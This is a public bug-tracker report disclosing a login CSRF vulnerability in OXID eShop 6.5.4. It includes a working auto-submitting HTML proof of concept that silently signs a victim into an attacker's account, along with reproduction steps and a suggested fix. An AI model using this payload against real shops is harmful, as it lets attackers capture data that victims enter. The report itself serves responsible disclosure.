View Issue Details
| ID | Project | Category | View Status | Date Submitted | Last Update |
|---|---|---|---|---|---|
| 0007995 | OXID eShop (all versions) | 1.05. Users | public | 2026-08-19 16:30 | 2026-08-19 16:30 |
| Reporter | suabo | Assigned To | |||
| Priority | normal | Severity | minor | Reproducibility | always |
| Status | new | Resolution | open | ||
| Product Version | 6.5.4 | ||||
| Summary | 0007995: Vulnerability Report : No validation of csrf on the login | ||||
| Description | The login form is not protected against Cross-Site Request Forgery. An attacker can craft an HTML page containing POST information to have the victim sign into an attacker's account, where the victim can add information assuming he/she is logged into the correct account, where in reality, the victim is signed into the attacker's account where the changes are visible to the attacker. The real issue here is that when the victim runs the HTML Proof of Concept, the account is logged in to attacker's without any visible warnings, thus the victim is capable of theft of data and potentially vulnerable to account takeover. | ||||
| Steps To Reproduce | Create a victim account Create an attacker account Run Proof of Concept in the same browser as victim and press submit. On the victim browser, he/she is logged in as an attacker without any indication unless the page is manually refreshed. Here is the POC: <html> <!-- CSRF PoC ---> <body> <form action="https://www.oxidshop.de/index.php?" method="POST"> <input type="hidden" name="stoken" value="BA5A4480" /> <input type="hidden" name="lang" value="0" /> <input type="hidden" name="listtype" value="" /> <input type="hidden" name="actcontrol" value="account" /> <input type="hidden" name="fnc" value="login_noredirect" /> <input type="hidden" name="cl" value="account" /> <input type="hidden" name="tpl" value="" /> <input type="hidden" name="oxloadid" value="" /> <input type="hidden" name="lgn_usr" value="attackerfive15325@gmail.com" /> <input type="hidden" name="lgn_pwd" value="Jana1234@" /> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body> </html> | ||||
| Additional Information | Please validate the csrf token to login request or make some type prompt that the session has ended when the new login from the attacker occurs. | ||||
| Tags | No tags attached. | ||||
| Theme | Not defined | ||||
| Browser | Not defined | ||||
| PHP Version | Not defined | ||||
| Database Version | Not defined | ||||